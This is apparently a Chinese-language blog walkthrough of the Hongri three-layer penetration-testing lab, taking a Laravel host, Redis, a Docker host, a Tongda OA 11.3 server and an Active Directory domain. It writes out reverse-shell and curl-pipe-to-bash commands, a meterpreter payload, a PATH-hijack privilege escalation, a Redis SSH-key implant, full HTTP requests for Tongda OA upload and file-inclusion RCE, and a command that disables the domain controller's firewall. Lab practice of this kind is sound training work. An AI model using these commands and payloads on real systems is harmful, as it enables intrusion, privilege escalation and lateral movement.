内网渗透学习(三层网络拓扑)红日靶场

环境搭建

内网渗透学习(三层网络拓扑)红日靶场_第1张图片

配置虚拟机网卡

在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24

环境信息

DMZ区的 Ubuntu 需要启动redis和nginx服务:

sudo redis-server /etc/redis.conf

sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf

sudo iptables -F

第二层网络的 Ubuntu需要启动docker容器:

sudo service docker start

sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe


域用户信息
域用户账户和密码如下:

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

外网打点

信息搜集

现在对http://192.168.3.123/地址进行黑盒测试
首先使用nmap对地址进行扫描

nmap -T4 -sC -sV 192.168.3.123 -p 1-65535

内网渗透学习(三层网络拓扑)红日靶场_第2张图片
查看81端口
内网渗透学习(三层网络拓扑)红日靶场_第3张图片

利用exp getshell

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
内网渗透学习(三层网络拓扑)红日靶场_第4张图片

cat /proc/1/cgroup

发现是docker环境
内网渗透学习(三层网络拓扑)红日靶场_第5张图片

反弹shell

先把shell反弹到我们的kali当中(因为是ubuntu所以不能直接反弹shell)
kali上写个shell.sh
内网渗透学习(三层网络拓扑)红日靶场_第6张图片

bash -i >& /dev/tcp/192.168.31.96/6666 0>&1

再开个web服务

python -m http.server 80

kali监听一个端口

nc -lvvp 6666

内网渗透学习(三层网络拓扑)红日靶场_第7张图片
看一下靶机能不能访问192.168.3.139:80
在shell管理系统

curl 192.168.3.139/shell.sh

在这里插入图片描述
然后执行一下

curl 192.168.3.139:80/shell.sh|bash

内网渗透学习(三层网络拓扑)红日靶场_第8张图片
成功把shell反弹到了kali上面

提权(失败)

查看linux版本

uname -a

在这里插入图片描述
提权exp

https://github.com/Al1ex/LinuxEelvation

没成功

提权(成功)

find / -perm -u=s -type f 2>/dev/null

内网渗透学习(三层网络拓扑)红日靶场_第9张图片
利用/home/jobs/shell 提权,发现shell文件执行了ps,我们利用ps提权,写ps恶意命令

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

内网渗透学习(三层网络拓扑)红日靶场_第10张图片
已经是root权限

msf上线

生成msf木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.139 LPORT=6667 -f elf > shell.elf

监听(msf端执行)

use exploit/multi/handler
set lhost 192.168.3.139
set lport 6667
set payload linux/x86/meterpreter/reverse_tcp
run

内网渗透学习(三层网络拓扑)红日靶场_第11张图片

将木马传到靶机

wget http://192.168.3.139/shell.elf
chmod 777 shell.elf
./shell.elf

在这里插入图片描述

docker逃逸(失败,139主机只拿下了一半)

一直逃逸不出来,看看其他方式

redis未授权访问

信息搜集可得,服务器还有个redis端口,曲线救国

https://github.com/qishibo/AnotherRedisDesktopManager/releases/tag/v1.5.1
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable 
make //全局生效 
cp src/redis-cli /usr/bin/
redis-cli -h 192.168.3.123

内网渗透学习(三层网络拓扑)红日靶场_第12张图片
redis未授权确定了

kali生成ssh公钥

ssh-keygen -t rsa

将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.31.132 -x set xxx

内网渗透学习(三层网络拓扑)红日靶场_第13张图片
进入redis命令行将公钥写入(这里redis要是不用root启,就不行)

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    # 设置保存文件名为authorized_keys
save    # 将数据保存在目标服务器硬盘上

第二层网络渗透

成功拿下“192.168.3.123”,进一步进行信息搜集


到这里我们可以发现我们拿下了第一台机器是ubuntu18 有两个网卡,发现了第一个内网网段是192.168.52.10

msf上线ubuntu18(192.168.3.123)

参考前面,懒得写了
内网渗透学习(三层网络拓扑)红日靶场_第14张图片
工具使用一定要熟练啊,上线我就上了半天,设置监听端口之前一定看看占用了没,气死我了!!!!!!

msf扫描192.168.52.10/24

传一个fscan上去

upload /home/yezi/hongri1/fscan_amd64

然后扫描

扫到一台192.168.52.30
通达OA
使用frp在192.168.52.10做一个代理,来渗透192.168.52.30

frp教程
https://www.cnblogs.com/hanlongyi/p/15250440.html

内网渗透学习(三层网络拓扑)红日靶场_第15张图片
内网渗透学习(三层网络拓扑)红日靶场_第16张图片

第二次网络横向移动

渗透192.168.52.30(通达OA)

全局代理抓不到包,在bp上挂一个代理
内网渗透学习(三层网络拓扑)红日靶场_第17张图片

判断通达OA版本

TongDaOA.domain/inc/expired.php 判断通达版本

参考:https://github.com/OA-HUNTER/TongDa-OA

内网渗透学习(三层网络拓扑)红日靶场_第18张图片
可以看到版本为11.3

任意用户登录漏洞+RCE漏洞

登陆处抓包
内网渗透学习(三层网络拓扑)红日靶场_第19张图片

2)修改再发包
需修改以下三个地方:
/logincheck.php      /logincheck_code.php
删除cookie在post包中添加UID=1

内网渗透学习(三层网络拓扑)红日靶场_第20张图片
用获取的PHPSESSID访问/general/

访问上传接口抓包

/ispirit/im/upload.php

修改包的内容

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--


图片马的路径

2204/1828100034.jpg

文件包含rce

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 90
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2204/1828100034.jpg"}&cmd=whoami


内网渗透学习(三层网络拓扑)红日靶场_第21张图片

参考资料
https://blog.csdn.net/szgyunyun/article/details/107104288

cs上线192.168.52.30

内网渗透学习(三层网络拓扑)红日靶场_第22张图片

进程迁移

内网渗透学习(三层网络拓扑)红日靶场_第23张图片

第三层网络渗透(内网)

信息搜集192.168.52.30

ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net time /domain           // 主域服务器会同时作为时间服务器
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain    // 查看域管理员组

内网渗透学习(三层网络拓扑)红日靶场_第24张图片
内网渗透学习(三层网络拓扑)红日靶场_第25张图片
内网渗透学习(三层网络拓扑)红日靶场_第26张图片
内网渗透学习(三层网络拓扑)红日靶场_第27张图片

信息搜集后得到
有一个域:whoamianony.org
域控是:DC.whoamianony.org
域控的ip:192.168.93.30

内网渗透学习(三层网络拓扑)红日靶场_第28张图片
93这个网段有三台机器
193.168.92.20(通达OA本机)
193.168.92.30
193.168.92.40

抓一下凭证信息
内网渗透学习(三层网络拓扑)红日靶场_第29张图片

横向移动

关闭防火墙

psexec失败了,半天没反应,我估计是防火墙的原因

IPC$常用命令
net use	查看当前连接的IPC$
net use * /del	删除IPC$连接
net use \192.168.1.1\ipc$ 密码 /user:域\账号	
连接域内IP地址为192.168.1.1的主机
dir \192.168.1.1\c$	列出连接的192.168.1.1的C盘文件
copy c:/12.txt \192.168.1.1\c$\2.txt	
复制本地c盘的12.txt文件到192.168.1.1的c盘并保存为2.txt

那我们利用net use 把域控的防火墙关了

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\192.168.93.30 start unablefirewall

psexe横向移动

因为抓到了域控的账号密码,cs横向基本操作这里不谈了

好了,至此机器全部都上线了

你可能感兴趣的:(红队攻防,安全,web安全)